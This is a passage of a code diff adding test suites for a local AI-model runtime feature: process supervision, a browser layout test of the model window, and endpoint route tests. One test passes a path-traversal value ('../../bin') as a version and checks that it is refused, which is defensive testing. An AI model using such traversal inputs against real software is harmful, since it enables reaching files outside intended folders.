+  it('is safe when nothing runs, and twice in a row', async () => {
+    const fake = fakeRuntime();
+    const { supervisor } = supervise(fake);
+    await supervisor.stop();
+    await supervisor.start({ port, contextLength: CONTEXT });
+    await Promise.all([supervisor.stop(), supervisor.stop()]);
+    await supervisor.stop();
+    expect(children(fake)[0].signals).toEqual(['SIGTERM']);
+    expect(supervisor.status().running).toBe(false);
+  });
+
+  it('can be started again after a stop', async () => {
+    const fake = fakeRuntime();
+    const { supervisor } = supervise(fake);
+    await supervisor.start({ port, contextLength: CONTEXT });
+    await supervisor.stop();
+    const again = await supervisor.start({ port, contextLength: CONTEXT });
+    expect(again).toMatchObject({ ok: true, pid: children(fake)[1].pid, orphan: 'none' });
+    expect(children(fake)).toHaveLength(2);
+  });
+
+  it('kills the child when the server process exits without its shutdown', async () => {
+    // The last resort for a forced exit: a listener on the process, for as long as the child lives.
+    const fake = fakeRuntime();
+    const before = process.listenerCount('exit');
+    const { supervisor } = supervise(fake);
+    await supervisor.start({ port, contextLength: CONTEXT });
+    expect(process.listenerCount('exit')).toBe(before + 1);
+    const child = children(fake)[0] as unknown as ChildProcess & FakeRuntimeChild;
+
+    // What Node does on `process.exit()`: it calls the listeners.
+    const added = process.listeners('exit').at(-1) as () => void;
+    const exited = new Promise<void>((resolve) => child.once('exit', () => resolve()));
+    added();
+    await exited;
+    expect(child.signals).toEqual(['SIGTERM']);
+    // The listener goes with its child. (This process did not really exit, so the supervisor
+    // took the exit for a crash and started another child, which has a listener of its own.)
+    expect(process.listeners('exit')).not.toContain(added);
+    await supervisor.stop();
+    expect(process.listenerCount('exit')).toBe(before);
+  });
+});
+
+// ---------- A runtime an earlier server left behind, and the pid that names it ----------
+
+describe('the pid is told the moment the child is spawned', () => {
+  it('reports it before the child answers, so a server killed during the start leaves a pid', async () => {
+    // The child never answers: the start waits, and is told to stop.
+    const fake = fakeRuntime({ spawn: { neverListens: true } });
+    const { supervisor, changes } = supervise(fake, {
+      startTimeoutMs: 60_000,
+      sleep: () => new Promise((resolve) => setTimeout(resolve, 5)),
+    });
+    const starting = supervisor.start({ port, contextLength: CONTEXT });
+    await until(() => children(fake).length === 1, 'the child to be spawned');
+    await until(() => changes.some((status) => status.pid === children(fake)[0].pid), 'the pid to be reported');
+    const early = changes.find((status) => status.pid === children(fake)[0].pid);
+    // Not running yet: it has not answered.
+    expect(early).toMatchObject({ running: false, pid: children(fake)[0].pid });
+    await supervisor.stop();
+    await starting;
+    // A start that failed leaves no pid behind.
+    expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false });
+  });
+});
+
+describe('stop with the pid the state file kept', () => {
+  it('ends a runtime of ours that this process never started', async () => {
+    let gone = false;
+    const fake = fakeRuntime();
+    const { supervisor, kills } = supervise(fake, {
+      commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined),
+      kill: (pid, signal) => {
+        kills.push([pid, signal]);
+        gone = true;
+      },
+    });
+    await supervisor.stop({ previousPid: ORPHAN_PID });
+    expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
+    // Nothing was spawned to do it.
+    expect(children(fake)).toHaveLength(0);
+  });
+
+  it('ends one that runs another version of ours: the folder decides, not the version', async () => {
+    let gone = false;
+    const fake = fakeRuntime();
+    const { supervisor, kills } = supervise(fake, {
+      commandOfPid: async (pid) =>
+        pid === ORPHAN_PID && !gone ? `${runtimeBinaryForVersion(paths, '0.39.2')} serve` : undefined,
+      kill: (pid, signal) => {
+        kills.push([pid, signal]);
+        gone = true;
+      },
+    });
+    await supervisor.stop({ previousPid: ORPHAN_PID });
+    expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
+  });
+
+  it('never signals a pid that runs something else now, nor one that is gone', async () => {
+    const fake = fakeRuntime();
+    const { supervisor, kills } = supervise(fake, {
+      commandOfPid: async (pid) => (pid === ORPHAN_PID ? '/usr/local/bin/ollama serve' : undefined),
+    });
+    await supervisor.stop({ previousPid: ORPHAN_PID });
+    await supervisor.stop({ previousPid: ORPHAN_PID + 1 });
+    await supervisor.stop({ previousPid: 1 });
+    await supervisor.stop({ previousPid: Number.NaN });
+    expect(kills).toEqual([]);
+  });
+
+  it('stops its own child first, and the stored pid only when it is somebody else', async () => {
+    const fake = fakeRuntime();
+    const { supervisor, kills } = supervise(fake);
+    const started = await supervisor.start({ port, contextLength: CONTEXT });
+    expect(started.ok).toBe(true);
+    await supervisor.stop({ previousPid: children(fake)[0].pid });
+    expect(children(fake)[0].signals).toEqual(['SIGTERM']);
+    // The child is gone by then: its pid names nothing of ours any more.
+    expect(kills).toEqual([]);
+  });
+});
+
+describe('start with the version an installed model was installed with', () => {
+  it('runs that version from its own folder and expects it to answer as that version', async () => {
+    const fake = fakeRuntime({ version: '0.39.2' });
+    const { supervisor } = supervise(fake, { pin: { ...fake.pin(), version: '0.40.15' } });
+    const result = await supervisor.start({ port, contextLength: CONTEXT, version: '0.39.2' });
+    expect(result).toMatchObject({ ok: true });
+    expect(children(fake)[0].command).toBe(runtimeBinaryForVersion(paths, '0.39.2'));
+    // Asked again the same way: the child is kept. Asked for the pinned version: replaced.
+    await supervisor.start({ port, contextLength: CONTEXT, version: '0.39.2' });
+    expect(children(fake)).toHaveLength(1);
+  });
+
+  it('a restart after a crash starts the same version again', async () => {
+    const fake = fakeRuntime({ version: '0.39.2' });
+    const { supervisor } = supervise(fake, { pin: { ...fake.pin(), version: '0.40.15' } });
+    await supervisor.start({ port, contextLength: CONTEXT, version: '0.39.2' });
+    children(fake)[0].crash();
+    await until(() => children(fake).length === 2 && supervisor.status().running, 'the restart');
+    expect(children(fake)[1].command).toBe(runtimeBinaryForVersion(paths, '0.39.2'));
+  });
+
+  it('refuses a version that is no version before anything is spawned', async () => {
+    const fake = fakeRuntime();
+    const { supervisor } = supervise(fake);
+    const result = await supervisor.start({ port, contextLength: CONTEXT, version: '../../bin' });
+    expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' });
+    expect(children(fake)).toHaveLength(0);
+  });
+});

test/local-model-ui.browser.test.ts

@@ -0,0 +1,357 @@
+/**
+ * @fileoverview Real-Chromium coverage for the "Run a model on this Mac" window
+ * (src/web/public/local-model-ui.js): what DOM emulation cannot answer, because it lays nothing
+ * out.
+ *
+ *  - the numbers of the model list line up: every row's speed and download size end on the
+ *    same edge, under their captions, and every tag starts on the same edge;
+ *  - a row is one line on a desktop and two lines under 560px, where nothing runs off the
+ *    side and the buttons take the full width;
+ *  - the memory bar is 12px high and filled to the selected model's share of its track, and
+ *    the fill follows the selection;
+ *  - the selected row carries the feature's colour on its reading edge;
+ *  - the welcome button is really gone while it is `hidden`, and the window paints above App
+ *    Settings.
+ *
+ * The REAL index.html is served with its scripts taken out and the two shipping stylesheets
+ * inlined (mobile.css under the media query its `<link>` carries); the real module runs on a
+ * bare `CodemanApp` whose `_api` answers a fixture payload. The states themselves are pinned in
+ * JSDOM by test/local-model-ui.test.ts.
+ *
+ * Port: none (page.route on a fake origin, no server).
+ */
+
+import { readFileSync } from 'node:fs';
+import { resolve } from 'node:path';
+import { afterAll, afterEach, beforeAll, describe, expect, it } from 'vitest';
+import { chromium, type Browser, type Page } from 'playwright';
+
+const dir = resolve(import.meta.dirname, '../src/web/public');
+const read = (name: string) => readFileSync(resolve(dir, name), 'utf8');
+const ORIGIN = 'http://app.test/';
+
+/**
+ * index.html as shipped, minus every script, with styles.css and mobile.css inlined. The
+ * comments go first: some of them mention a script tag, which would otherwise open a match
+ * that swallows the markup up to the next real one.
+ */
+const MARKUP = read('index.html')
+  .replace(/<!--[\s\S]*?-->/g, '')
+  .replace(/<script\b[\s\S]*?<\/script>/g, '');
+const PAGE = MARKUP.replace(
+  '<link rel="stylesheet" href="styles.css">',
+  () => `<style>${read('styles.css')}</style>`
+).replace(
+  '<link rel="stylesheet" href="mobile.css" media="(max-width: 1023px)">',
+  () => `<style media="(max-width: 1023px)">${read('mobile.css')}</style>`
+);
+
+const RUNTIME = 185971671;
+
+function row(modelId: string, modelLabel: string, downloadBytes: number, downloadGb: string, over: object = {}) {
+  return {
+    modelId,
+    modelLabel,
+    license: 'Apache-2.0',
+    paramsB: 9,
+    context: 131072,
+    cli: 'opencode',
+    cliLabel: 'OpenCode',
+    cliInstalled: true,
+    needBytes: 1,
+    needGb: '20.0',
+    downloadBytes,
+    downloadGb,
+    budgetShare: 0.5,
+    fit: 'good',
+    fitLabel: 'Good',
+    speed: 'ok',
+    tested: false,
+    needSource: 'estimated',
+    harnesses: [{ cli: 'opencode', cliLabel: 'OpenCode', installed: true }],
+    installBytes: downloadBytes + RUNTIME,
+    installGb: downloadGb,
+    ...over,
+  };
+}
+
+const STATUS = {
+  hardware: {
+    platform: 'darwin',
+    arch: 'arm64',
+    memBytes: 51539607552,
+    memGb: '51.5',
+    memClassGb: 48,
+    chip: 'Apple M5 Pro',
+    freeDiskBytes: 897000000000,
+    freeDiskGb: '897',
+    source: 'sysctl',
+  },
+  recommendation: {
+    verdict: 'ok',
+    headline: { text: 'Recommended for this Mac' },
+    notes: [],
+    pick: row('qwen3.6:35b-a3b', 'Qwen3.6 35B-A3B', 23105798956, '23.1', {
+      needGb: '36.0',
+      budgetShare: 0.957,
+      tokensPerSecond: 67.7,
+      tested: true,
+      tag: { kind: 'tested', label: 'Tested on a Mac like this' },
+    }),
+    alternatives: [
+      row('qwen3.8:27b', 'Qwen3.8 27B', 17741871939, '17.7', {
+        needGb: '30.6',
+        budgetShare: 0.814,
+        tokensPerSecond: 9.1,
+        tag: { kind: 'slow', label: 'Slow' },
+      }),
+      row('gpt-oss:20b', 'GPT-OSS 20B', 13793441427, '13.8', { needGb: '26.6', budgetShare: 0.709, speed: 'unknown' }),
+      row('qwen3.5:9b', 'Qwen3.5 9B', 6550825373, '6.6', {
+        needGb: '17.0',
+        budgetShare: 0.25,
+        tokensPerSecond: 28.6,
+        tag: { kind: 'small', label: 'Small model' },
+      }),
+    ],
+    budgetBytes: 37580963840,
+    budgetGb: '37.6',
+    budgetSource: 'estimated',
+  },
+  catalogUpdated: '2026-11-06',
+  install: {
+    state: 'idle',
+    running: false,
+    developerTools: 'present',
+    runtime: { version: '0.40.15', installed: false, downloadBytes: RUNTIME, downloadGb: '0.2', unpackedGb: '0.6' },
+    folder: '/Users/sam/.codeman/local-model',
+    actions: ['install'],
+  },
+};
+
+type Box = { left: number; right: number; top: number; bottom: number; width: number; height: number };
+
+/** What the page holds once the module ran on the stand-in class. */
+interface PageApp {
+  _api: () => Promise<unknown>;
+  loadLocalModel(): Promise<void>;
+  openLocalModelWindow(): void;
+}
+type PageWindow = { CodemanApp: new () => PageApp; app: PageApp };
+
+describe('the local model window (real Chromium)', () => {
+  let browser: Browser;
+  let p: Page;
+  beforeAll(async () => {
+    browser = await chromium.launch();
+  });
+  afterAll(async () => {
+    await browser.close();
+  });
+  afterEach(async () => {
+    await p?.close();
+  });
+
+  it('runs on the real page with both stylesheets in it', () => {
+    expect(MARKUP).toContain('id="localModelModal"');
+    expect(MARKUP.includes('<script')).toBe(false);
+    expect(PAGE.includes('.lm-bar-fill {')).toBe(true);
+    expect(PAGE.includes('<style media="(max-width: 1023px)">')).toBe(true);
+    expect(PAGE.includes('href="styles.css"')).toBe(false);
+  });
+
+  /** The real page at a width, the module loaded, the answer in, the window closed. */
+  async function load(width: number, height = 900) {
+    p = await browser.newPage({ viewport: { width, height }, deviceScaleFactor: 1 });
+    // No motion: the bar is at its width as soon as it is painted, so nothing here waits on a clock.
+    await p.emulateMedia({ reducedMotion: 'reduce' });
+    await p.route('**/*', (route) =>
+      route.request().url() === ORIGIN
+        ? route.fulfill({ contentType: 'text/html', body: PAGE })
+        : route.fulfill({ status: 404, body: '' })
+    );
+    await p.goto(ORIGIN);
+    await p.addScriptTag({ content: `function CodemanApp() {}\n${read('local-model-ui.js')}` });
+    await p.evaluate(async (status) => {
+      const w = window as unknown as PageWindow;
+      document.body.classList.add('app-loaded');
+      document.getElementById('welcomeOverlay')!.classList.add('visible');
+      w.app = new w.CodemanApp();
+      w.app._api = async () => ({ ok: true, status: 200, json: async () => ({ success: true, data: status }) });
+      await w.app.loadLocalModel();
+    }, STATUS);
+  }
+
+  /** Two animation frames: whatever was just written is laid out and painted. */
+  const painted = () =>
+    p.evaluate(() => new Promise<void>((done) => requestAnimationFrame(() => requestAnimationFrame(() => done()))));
+
+  async function open() {
+    await p.evaluate(() => (window as unknown as PageWindow).app.openLocalModelWindow());
+    await painted();
+  }
+
+  const boxes = (selector: string) =>
+    p.evaluate(
+      (sel) =>
+        [...document.querySelectorAll(sel)].map((el) => {
+          const r = el.getBoundingClientRect();
+          return { left: r.left, right: r.right, top: r.top, bottom: r.bottom, width: r.width, height: r.height };
+        }),
+      selector
+    ) as Promise<Box[]>;
+
+  const same = (values: number[]) => Math.max(...values) - Math.min(...values) <= 0.6;
+
+  it('shows the welcome button only once the server answered for a Mac', async () => {
+    p = await browser.newPage({ viewport: { width: 1440, height: 900 }, deviceScaleFactor: 1 });
+    await p.route('**/*', (route) =>
+      route.request().url() === ORIGIN
+        ? route.fulfill({ contentType: 'text/html', body: PAGE })
+        : route.fulfill({ status: 404, body: '' })
+    );
+    await p.goto(ORIGIN);
+    // As shipped: `hidden`, and really not laid out although the chip class is inline-flex.
+    expect(await p.evaluate(() => getComputedStyle(document.getElementById('welcomeLocalModelBtn')!).display)).toBe(
+      'none'
+    );
+    await p.close();
+    await load(1440);
+    const [button] = await boxes('#welcomeLocalModelBtn');
+    expect(button.width).toBeGreaterThan(100);
+    // The first thing on the start screen, in the size of the primary launcher below it.
+    expect(Math.round(button.height)).toBe(46);
+    expect(await p.textContent('#welcomeLocalModelLabel')).toBe('Run a local model');
+  });
+
+  it('lines the numbers up down the list on a desktop, one line a row', async () => {
+    await load(1440);
+    await open();
+    const rows = await boxes('.lm-models .lm-model');
+    expect(rows).toHaveLength(4);
+    const names = await boxes('.lm-model-name');
+    const tags = await boxes('.lm-model-tag');
+    const speeds = await boxes('.lm-model-speed');
+    const sizes = await boxes('.lm-model-size');
+    // Every number ends on the same edge, and every tag starts on the same edge.
+    expect(same(sizes.map((box) => box.right))).toBe(true);
+    expect(same(speeds.map((box) => box.right))).toBe(true);
+    expect(same(tags.map((box) => box.left))).toBe(true);
+    expect(same(names.map((box) => box.left))).toBe(true);
+    // The captions sit over their columns.
+    const [speedCaption] = await boxes('.lm-caption-speed');
+    const [sizeCaption] = await boxes('.lm-caption-size');
+    expect(same([speedCaption.right, speeds[0].right])).toBe(true);
+    expect(same([sizeCaption.right, sizes[0].right])).toBe(true);
+    // One line: name, tag, speed and size share a row's middle.
+    for (let i = 0; i < rows.length; i++) {
+      const middle = (box: Box) => (box.top + box.bottom) / 2;
+      expect(Math.abs(middle(names[i]) - middle(sizes[i]))).toBeLessThan(3);
+      expect(Math.abs(middle(names[i]) - middle(speeds[i]))).toBeLessThan(3);
+      expect(names[i].right).toBeLessThanOrEqual(tags[i].left + 0.6);
+      expect(speeds[i].right).toBeLessThanOrEqual(sizes[i].left + 0.6);
+    }
+    // The memory panel lines up with the rows on both edges, and the bar with its figure.
+    const [figure] = await boxes('.lm-figure');
+    const [radio] = await boxes('.lm-radio');
+    const [bar] = await boxes('.lm-bar');
+    const [meter] = await boxes('.lm-meter');
+    expect(same([figure.left, bar.left])).toBe(true);
+    expect(same([meter.left, radio.left])).toBe(true);
+    expect(same([meter.right, sizes[0].right])).toBe(true);
+  });
+
+  it('fills the bar to the selected model, and the fill follows the selection', async () => {
+    await load(1440);
+    await open();
+    const share = async () => {
+      const [track] = await boxes('.lm-bar');
+      const [fill] = await boxes('.lm-bar-fill');
+      expect(Math.round(track.height)).toBe(12);
+      expect(Math.round(fill.height)).toBe(12);
+      expect(same([track.left, fill.left])).toBe(true);
+      return fill.width / track.width;
+    };
+    // The pick is a tight fit: the bar is nearly full, and a sliver of the track still shows.
+    expect(await share()).toBeCloseTo(0.96, 2);
+    await p.click('.lm-models .lm-model:nth-child(4)');
+    await painted();
+    expect(await share()).toBeCloseTo(0.25, 2);
+    await p.keyboard.press('ArrowUp');
+    await painted();
+    expect(await share()).toBeCloseTo(0.71, 2);
+    // The fill moves over a short moment, and stands still for a reader who wants no motion.
+    const duration = () =>
+      p.evaluate(() => getComputedStyle(document.querySelector('.lm-bar-fill')!).transitionDuration);
+    expect(await duration()).toBe('0s');
+    await p.emulateMedia({ reducedMotion: 'no-preference' });
+    expect(await duration()).toBe('0.32s');
+    await p.emulateMedia({ reducedMotion: 'reduce' });
+    // The track is not the window's own colour, or the free part could not be seen.
+    const paint = await p.evaluate(() => {
+      const css = (sel: string, prop: string) => getComputedStyle(document.querySelector(sel)!).getPropertyValue(prop);
+      // The feature's colour as the browser paints it: a custom property reads back unresolved.
+      const probe = document.body.appendChild(document.createElement('i'));
+      probe.style.color = 'var(--lm-brand)';
+      const brand = getComputedStyle(probe).color;
+      probe.remove();
+      return {
+        brand,
+        track: css('.lm-bar', 'background-color'),
+        fillImage: css('.lm-bar-fill', 'background-image'),
+        window: css('.local-model-window', 'background-color'),
+        edge: css('.lm-model-on', 'border-left-color'),
+        idleEdge: css('.lm-model:not(.lm-model-on)', 'border-left-color'),
+      };
+    });
+    expect(paint.track).not.toBe(paint.window);
+    expect(paint.track).not.toBe(paint.brand);
+    // Without a memory map the one fill runs from the feature's colour to the context's.
+    expect(paint.fillImage).toContain('linear-gradient');
+    // The selected row carries the feature's colour on its reading edge.
+    expect(paint.edge).toBe(paint.brand);
+    expect(paint.idleEdge).not.toBe(paint.brand);
+  });
+
+  it('stacks two lines a row under 560px, with nothing running off the side', async () => {
+    await load(390, 844);
+    await open();
+    const names = await boxes('.lm-model-name');
+    const tags = await boxes('.lm-model-tag');
+    const speeds = await boxes('.lm-model-speed');
+    const sizes = await boxes('.lm-model-size');
+    for (let i = 0; i < names.length; i++) {
+      // Name and tag, then speed and size.
+      expect(speeds[i].top).toBeGreaterThanOrEqual(names[i].bottom - 1);
+      expect(sizes[i].top).toBeGreaterThanOrEqual(names[i].bottom - 1);
+      expect(tags[i].top).toBeLessThan(names[i].bottom);
+      expect(same([names[i].left, speeds[i].left])).toBe(true);
+    }
+    expect(same(sizes.map((box) => box.right))).toBe(true);
+    // The window fills the phone, the bar and the button take its width, and nothing overflows.
+    const [win] = await boxes('.local-model-window');
+    expect(Math.round(win.width)).toBe(390);
+    expect(Math.round(win.height)).toBe(844);
+    const [meter] = await boxes('.lm-meter');
+    const [button] = await boxes('.lm-buttons button');
+    expect(same([meter.left, button.left])).toBe(true);
+    expect(same([meter.right, button.right])).toBe(true);
+    expect(button.height).toBeGreaterThanOrEqual(44);
+    const overflow = await p.evaluate(() => {
+      const body = document.getElementById('localModelWindowBody')!;
+      return body.scrollWidth - body.clientWidth;
+    });
+    expect(overflow).toBeLessThanOrEqual(0);
+  });
+
+  it('paints above App Settings when it is opened from there', async () => {
+    await load(1440);
+    await p.evaluate(() => document.getElementById('appSettingsModal')!.classList.add('active'));
+    await open();
+    const top = await p.evaluate(() => {
+      const box = document.querySelector('.local-model-window')!.getBoundingClientRect();
+      const hit = document.elementFromPoint(box.left + box.width / 2, box.top + 20);
+      return !!hit && !!hit.closest('#localModelModal');
+    });
+    expect(top).toBe(true);
+  });
+});

test/routes/custom-model-routes.test.ts

@@ -8,7 +8,10 @@
  * been bypassed.
  * Port: N/A (app.inject, no real port needed)
  */
-import { describe, it, expect, vi, afterEach } from 'vitest';
+import { describe, it, expect, vi, afterEach, beforeEach } from 'vitest';
+import { readFileSync, rmSync, statSync, writeFileSync } from 'node:fs';
+import { dataPath, getDataDir } from '../../src/config/instance.js';
+import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../../src/custom-model-hosts.js';
 import { registerCustomModelRoutes } from '../../src/web/routes/custom-model-routes.js';
 import { webviewFetch } from '../../src/web/webview-egress.js';
 import { createRouteTestHarness, type RouteTestHarness } from './_route-test-utils.js';
@@ -524,10 +527,9 @@ describe('context-length discovery from the /v1/models listing', () => {
       defaultContextLength: 65536,
     });
     fetchMock.mockResolvedValue(
-      new Response(
-        JSON.stringify({ data: [{ id: 're-listed', context_length: 32768 }, { id: 'untouched' }] }),
-        { status: 200 }
-      )
+      new Response(JSON.stringify({ data: [{ id: 're-listed', context_length: 32768 }, { id: 'untouched' }] }), {
+        status: 200,
+      })
     );
 
     await app.inject({ method: 'POST', url: '/api/model-endpoints/ep-ctx-keep/discover-models' });
@@ -580,3 +582,278 @@ describe('defaultContextLength (the user-set fallback discovery never overwrites
     }
   });
 });
+
+describe('every write goes through the serialized writer', () => {
+  const HOSTS = () => customModelHostsPath(getDataDir());
+
+  beforeEach(() => {
+    rmSync(HOSTS(), { force: true });
+  });
+
+  afterEach(() => {
+    fetchMock.mockReset();
+    rmSync(HOSTS(), { force: true });
+    vi.restoreAllMocks();
+  });
+
+  it('ten creates sent at once all land (each used to read, change and write on its own)', async () => {
+    const { app } = await setup();
+    const ids = Array.from({ length: 10 }, (_, i) => `burst${i}`);
+    const responses = await Promise.all(
+      ids.map((id) =>
+        app.inject({
+          method: 'POST',
+          url: '/api/model-endpoints',
+          payload: { id, label: id, baseUrl: 'http://localhost:8200', apiKey: `sk-${id}` },
+        })
+      )
+    );
+    for (const res of responses) expect(res.json().success).toBe(true);
+    const stored = await readCustomModelHosts(getDataDir());
+    expect(stored.map((host) => host.id).sort()).toEqual([...ids].sort());
+    // Every key survived: none of the writes replaced the list with its own record.
+    for (const host of stored) expect(host.apiKey).toBe(`sk-${host.id}`);
+  });
+
+  it('two creates of one id sent at once: one is stored, the other is told it exists', async () => {
+    const { app } = await setup();
+    const create = (label: string) =>
+      app.inject({
+        method: 'POST',
+        url: '/api/model-endpoints',
+        payload: { id: 'race', label, baseUrl: 'http://localhost:8201' },
+      });
+    const [first, second] = await Promise.all([create('one'), create('two')]);
+    expect([first.json().success, second.json().success].sort()).toEqual([false, true]);
+    expect([first.json().errorCode, second.json().errorCode]).toContain('ALREADY_EXISTS');
+    const stored = await readCustomModelHosts(getDataDir());
+    expect(stored).toHaveLength(1);
+  });
+
+  it('a discovery that takes a moment does not undo an edit made while it ran', async () => {
+    const { app } = await setup();
+    await app.inject({
+      method: 'POST',
+      url: '/api/model-endpoints',
+      payload: { id: 'slow', label: 'Before', baseUrl: 'http://localhost:8202' },
+    });
+    let answer: (response: Response) => void = () => {};
+    fetchMock.mockImplementation(
+      (async () => new Promise<Response>((resolve) => (answer = resolve))) as unknown as typeof webviewFetch
+    );
+    const discovering = app.inject({ method: 'POST', url: '/api/model-endpoints/slow/discover-models' });
+    await vi.waitFor(() => expect(fetchMock).toHaveBeenCalled());
+
+    // The endpoint is renamed while the probe is still out.
+    const renamed = await app.inject({
+      method: 'PUT',
+      url: '/api/model-endpoints/slow',
+      payload: { label: 'After', baseUrl: 'http://localhost:8202' },
+    });
+    expect(renamed.json().success).toBe(true);
+
+    answer(new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 }));
+    expect((await discovering).json()).toEqual({ success: true, data: { models: ['qwen3'] } });
+
+    const [stored] = await readCustomModelHosts(getDataDir());
+    // Both changes are there: the new name and the discovered list.
+    expect(stored.label).toBe('After');
+    expect(stored.models).toEqual(['qwen3']);
+  });
+
+  it('an endpoint deleted while its discovery ran stays deleted', async () => {
+    const { app } = await setup();
+    await app.inject({
+      method: 'POST',
+      url: '/api/model-endpoints',
+      payload: { id: 'gone', label: 'Gone', baseUrl: 'http://localhost:8203' },
+    });
+    let answer: (response: Response) => void = () => {};
+    fetchMock.mockImplementation(
+      (async () => new Promise<Response>((resolve) => (answer = resolve))) as unknown as typeof webviewFetch
+    );
+    const discovering = app.inject({ method: 'POST', url: '/api/model-endpoints/gone/discover-models' });
+    await vi.waitFor(() => expect(fetchMock).toHaveBeenCalled());
+    await app.inject({ method: 'DELETE', url: '/api/model-endpoints/gone' });
+    answer(new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 }));
+    expect((await discovering).json()).toMatchObject({ success: false, errorCode: 'NOT_FOUND' });
+    expect(await readCustomModelHosts(getDataDir())).toEqual([]);
+  });
+
+  it('deleting an id that is not saved leaves the file as it is', async () => {
+    const { app } = await setup();
+    await app.inject({
+      method: 'POST',
+      url: '/api/model-endpoints',
+      payload: { id: 'keep', label: 'Keep', baseUrl: 'http://localhost:8204' },
+    });
+    const before = { text: readFileSync(HOSTS(), 'utf8'), mtime: statSync(HOSTS()).mtimeMs };
+    const res = await app.inject({ method: 'DELETE', url: '/api/model-endpoints/never-saved' });
+    expect(res.json()).toEqual({ success: true, data: { id: 'never-saved' } });
+    expect(readFileSync(HOSTS(), 'utf8')).toBe(before.text);
+    expect(statSync(HOSTS()).mtimeMs).toBe(before.mtime);
+  });
+
+  describe('a store that does not parse', () => {
+    const BROKEN = '[{"id":"mine","label":"Mine","baseUrl":"http://localhost:9","apiKey":"sk-keep-me"},';
+
+    beforeEach(() => {
+      writeFileSync(HOSTS(), BROKEN);
+      vi.spyOn(console, 'warn').mockImplementation(() => {});
+    });
+
+    it.each([
+      ['create', 'POST', '/api/model-endpoints', { id: 'new', label: 'New', baseUrl: 'http://localhost:8205' }],
+      ['update', 'PUT', '/api/model-endpoints/mine', { label: 'Renamed', baseUrl: 'http://localhost:8205' }],
+      ['delete', 'DELETE', '/api/model-endpoints/mine', undefined],
+    ] as const)(
+      '%s is refused with 409 and the file is left byte for byte (it used to be replaced by one record)',
+      async (_label, method, url, payload) => {
+        const { app } = await setup();
+        const res = await app.inject({ method, url, ...(payload ? { payload } : {}) });
+        expect(res.statusCode).toBe(409);
+        expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT' });
+        expect(res.json().error).toContain('custom-model-hosts.json');
+        // The refusal never repeats the file, which holds a key.
+        expect(res.body).not.toContain('sk-keep-me');
+        expect(readFileSync(HOSTS(), 'utf8')).toBe(BROKEN);
+      }
+    );
+
+    it('reading still answers an empty list, as before', async () => {
+      const { app } = await setup();
+      expect((await app.inject({ method: 'GET', url: '/api/model-endpoints' })).json()).toEqual([]);
+    });
+  });
+});
+
+describe('the endpoint the local model install manages', () => {
+  const HOSTS = () => customModelHostsPath(getDataDir());
+  const STATE = () => dataPath('local-model.json');
+
+  const RECORD: CustomModelHost = {
+    id: 'local-ollama',
+    label: 'This Mac',
+    baseUrl: 'http://127.0.0.1:11435',
+    authStyle: 'bearer',
+    models: ['qwen3.6:35b-a3b'],
+    defaultModelId: 'qwen3.6:35b-a3b',
+    defaultContextLength: 131072,
+  };
+
+  /** The state file of an installed model whose connection is the record above. */
+  function markManaged(): void {
+    writeFileSync(
+      STATE(),
+      JSON.stringify({
+        schema: 1,
+        state: 'installed',
+        model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
+        cli: { id: 'opencode', label: 'OpenCode' },
+        runtime: { version: '0.40.15', port: 11435, enabled: true },
+        connection: { endpointId: 'local-ollama', flagWasEnabled: false },
+      })
+    );
+  }
+
+  beforeEach(() => {
+    rmSync(STATE(), { force: true });
+    writeFileSync(HOSTS(), JSON.stringify([RECORD]));
+  });
+
+  afterEach(() => {
+    fetchMock.mockReset();
+    rmSync(STATE(), { force: true });
+    rmSync(HOSTS(), { force: true });
+  });
+
+  it('a new endpoint may not take the reserved id, whether or not a model is installed', async () => {
+    rmSync(HOSTS(), { force: true });
+    const { app } = await setup();
+    const res = await app.inject({
+      method: 'POST',
+      url: '/api/model-endpoints',
+      payload: { id: 'local-ollama', label: 'Mine', baseUrl: 'http://127.0.0.1:11434' },
+    });
+    expect(res.json()).toEqual({
+      success: false,
+      error: 'This endpoint id is reserved for the model Codeman runs on this Mac. Pick another id.',
+      errorCode: 'INVALID_INPUT',
+    });
+    expect(await readCustomModelHosts(getDataDir())).toEqual([]);
+  });
+
+  it('while it is managed it is not edited: its port stays the runtime Codeman supervises', async () => {
+    markManaged();
+    const { app } = await setup();
+    const res = await app.inject({
+      method: 'PUT',
+      url: '/api/model-endpoints/local-ollama',
+      payload: { label: 'This Mac', baseUrl: 'http://192.168.1.99:11434' },
+    });
+    expect(res.json()).toEqual({
+      success: false,
+      error:
+        'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.',
+      errorCode: 'INVALID_INPUT',
+    });
+    expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
+  });
+
+  it('while it is managed it is not deleted from here: the runtime would keep running without it', async () => {
+    markManaged();
+    const { app } = await setup();
+    const res = await app.inject({ method: 'DELETE', url: '/api/model-endpoints/local-ollama' });
+    expect(res.json()).toMatchObject({ success: false, errorCode: 'INVALID_INPUT' });
+    expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
+  });
+
+  it('while it is managed a discovery answers the one model the install checked and asks the runtime nothing', async () => {
+    markManaged();
+    const { app } = await setup();
+    const res = await app.inject({ method: 'POST', url: '/api/model-endpoints/local-ollama/discover-models' });
+    expect(res.json()).toEqual({ success: true, data: { models: ['qwen3.6:35b-a3b'] } });
+    expect(fetchMock).not.toHaveBeenCalled();
+    expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
+  });
+
+  it('it is listed like any other endpoint', async () => {
+    markManaged();
+    const { app } = await setup();
+    const list = (await app.inject({ method: 'GET', url: '/api/model-endpoints' })).json();
+    expect(list).toEqual([{ ...RECORD, apiKeySet: false }]);
+  });
+
+  it('a record with that id that nobody installed (made by hand) can still be edited and deleted by its owner', async () => {
+    // No state file: this feature wrote nothing, so the record is the person's own.
+    const { app } = await setup();
+    const update = await app.inject({
+      method: 'PUT',
+      url: '/api/model-endpoints/local-ollama',
+      payload: { label: 'My own Ollama', baseUrl: 'http://127.0.0.1:11434' },
+    });
